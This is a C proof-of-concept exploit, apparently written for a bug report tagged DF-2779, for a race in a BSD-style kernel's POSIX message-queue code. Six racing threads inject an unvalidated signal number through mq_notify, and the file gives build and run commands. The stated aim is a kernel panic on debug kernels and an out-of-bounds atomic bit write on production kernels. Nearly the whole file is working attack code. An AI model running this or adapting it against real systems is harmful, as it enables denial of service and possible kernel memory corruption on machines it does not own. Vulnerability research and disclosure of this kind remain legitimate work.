/*
 * DF-2779 — mq_send1() reads mq_sig_notify.sigev_signo after releasing
 * mq_mtx; a concurrent mq_notify() re-registration can substitute an
 * UNVALIDATED signo (validation at sys_mqueue.c:973-975 only applies when
 * sigev_notify == SIGEV_SIGNAL), and ksignal(p, attacker_int) follows
 * (sys_mqueue.c:905) -> lwpsignal() KASSERT panic on INVARIANTS kernels
 * (kern_sig.c:1139) / OOB sigset read+write on production kernels
 * (kern_sig.c:1183 SIGISMEMBER, :1367 SIGADDSET_ATOMIC; signal.h:65-67 have
 * no bounds mask).
 *
 * Race choreography (all threads in one process, queue kept near-empty):
 *   armer     : mq_notify(fdA, {SIGEV_SIGNAL, SIGUSR1})   (arms the slot)
 *   sender    : mq_send(fdS, 1 KB)  — consumes the registration, releases
 *               mq_mtx, fdrop(fp), then re-reads mq_sig_notify.sigev_signo
 *               WITHOUT the lock
 *   closer    : close(fdS) racing into the sender's send window so the
 *               sender's internal fdrop() takes the slow last-reference path
 *               (spinlock + fo_close -> mqlist_mtx/mq_mtx sleeps), widening
 *               the release->read window from ~100 ns to microseconds+sleeps
 *   stealer   : mq_notify(fdT, {SIGEV_NONE, BAD_SIGNO}); mq_notify(fdT, NULL)
 *               — lands its memcpy of the unvalidated sigevent into the gap
 *   contender : mq_unlink("/nonexistent") — keeps mqlist_mtx contended so the
 *               closer-induced slow path sleeps inside the window
 *
 * Success criterion: kernel panic "lwpsignal: invalid signal 64" (KASSERT),
 * guest dies / vm goes down.  BAD signo 64: _SIG_MAXSIG is 32, so 64 is
 * invalid -> KASSERT fires on the stock INVARIANTS kernel.
 *
 * cc -O2 -pthread -o race_signo race_signo.c
 * ./race_signo [seconds]
 */
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>

#define BAD_SIGNO	0x4000001	/* word 0x200000: ~8 MB past p_siglist -> OOB atomic bit-set */

static char qname[64];
static volatile int fdS = -1;
static volatile int stop = 0;
static long n_send, n_arm, n_steal, n_close, n_drain;

static int
mqo(const char *name, int oflag, const long *attr)
{
	long a[4];

	if (attr) {
		memcpy(a, attr, sizeof(a));
		return syscall(SYS_mq_open, name, oflag, 0600, a);
	}
	return syscall(SYS_mq_open, name, oflag, 0600, NULL);
}
#define mqn(fd, sev)	syscall(SYS_mq_notify, (fd), (sev))
#define mqs(fd, p, l)	syscall(SYS_mq_send, (fd), (p), (l), 0)
#define mqr(fd, p, l)	syscall(SYS_mq_receive, (fd), (p), (l), NULL)

static void
sigh(int sig)
{
	/* armed SIGUSR1 deliveries land here normally */
}

static void *
thr_sender(void *arg)
{
	char buf[1024];

	while (!stop) {
		int fd = fdS;

		if (fd < 0) {
			fd = mqo(qname, O_RDWR | O_NONBLOCK, NULL);
			if (fd < 0) {
				usleep(100);
				continue;
			}
			fdS = fd;
		}
		if (mqs(fd, buf, sizeof(buf)) == 0)
			__sync_fetch_and_add(&n_send, 1);
		/* EAGAIN (full) / EBADF (closer won): loop */
	}
	return NULL;
}

static void *
thr_closer(void *arg)
{
	while (!stop) {
		int fd = fdS;

		if (fd >= 0) {
			/* closes mid-send => sender's fdrop takes slow path */
			close(fd);
			if (__sync_bool_compare_and_swap(&fdS, fd, -1))
				__sync_fetch_and_add(&n_close, 1);
		}
	}
	return NULL;
}

static void *
thr_armer(void *arg)
{
	struct sigevent sev;

	memset(&sev, 0, sizeof(sev));
	sev.sigev_notify = SIGEV_SIGNAL;
	sev.sigev_signo = SIGUSR1;
	while (!stop) {
		mqn(fdS >= 0 ? fdS : (int)(intptr_t)arg, &sev);
		__sync_fetch_and_add(&n_arm, 1);
	}
	return NULL;
}

static void *
thr_stealer(void *arg)
{
	struct sigevent sev;
	int fd = (int)(intptr_t)arg;

	memset(&sev, 0, sizeof(sev));
	sev.sigev_notify = SIGEV_NONE;	/* NOT validated -> signo unchecked */
	sev.sigev_signo = BAD_SIGNO;
	while (!stop) {
		mqn(fd, &sev);
		__sync_fetch_and_add(&n_steal, 1);
		mqn(fd, NULL);		/* free the slot again */
	}
	return NULL;
}

static void *
thr_drainer(void *arg)
{
	char buf[1024];
	int fd = (int)(intptr_t)arg;

	while (!stop) {
		if (mqr(fd, buf, sizeof(buf)) < 0)
			usleep(50);
		else
			__sync_fetch_and_add(&n_drain, 1);
	}
	return NULL;
}

static void *
thr_contender(void *arg)
{
	while (!stop)
		syscall(SYS_mq_unlink, "/df2779_mtx_pressure_nope");
	return NULL;
}

int
main(int argc, char **argv)
{
	int seconds = (argc > 1) ? atoi(argv[1]) : 600;
	long attr[4] = { 0, 512, 1024, 0 };	/* maxmsg <= mq_max_maxmsg */
	pthread_t t[6];
	int fd, i;

	setvbuf(stdout, NULL, _IONBF, 0);
	signal(SIGUSR1, sigh);

	snprintf(qname, sizeof(qname), "/df2779_%d", (int)getpid());
	fd = mqo(qname, O_RDWR | O_CREAT, attr);
	if (fd < 0) {
		fprintf(stderr, "mq_open: %s\n", strerror(errno));
		return 2;
	}
	fdS = mqo(qname, O_RDWR | O_NONBLOCK, NULL);
	if (fdS < 0) {
		fprintf(stderr, "mq_open(2): %s\n", strerror(errno));
		return 2;
	}
	printf("DF-2779 race armed: q=%s bad_signo=%d running %ds\n", qname,
	    BAD_SIGNO, seconds);

	pthread_create(&t[0], NULL, thr_sender, NULL);
	pthread_create(&t[1], NULL, thr_closer, NULL);
	pthread_create(&t[2], NULL, thr_armer, (void *)(intptr_t)fd);
	pthread_create(&t[3], NULL, thr_stealer, (void *)(intptr_t)fd);
	pthread_create(&t[4], NULL, thr_drainer, (void *)(intptr_t)fd);
	pthread_create(&t[5], NULL, thr_contender, NULL);

	for (i = 0; i < seconds && !stop; i++) {
		sleep(1);
		if (i % 15 == 14)
			printf("t=%3d sends=%ld arms=%ld steals=%ld closes=%ld "
			    "drains=%ld\n", i + 1, n_send, n_arm, n_steal,
			    n_close, n_drain);
	}
	stop = 1;
	for (i = 0; i < 6; i++)
		pthread_join(t[i], NULL);
	printf("DF-2779: survived %d s without hitting the race "
	    "(sends=%ld)\n", seconds, n_send);
	syscall(SYS_mq_unlink, qname);
	return 1;
}
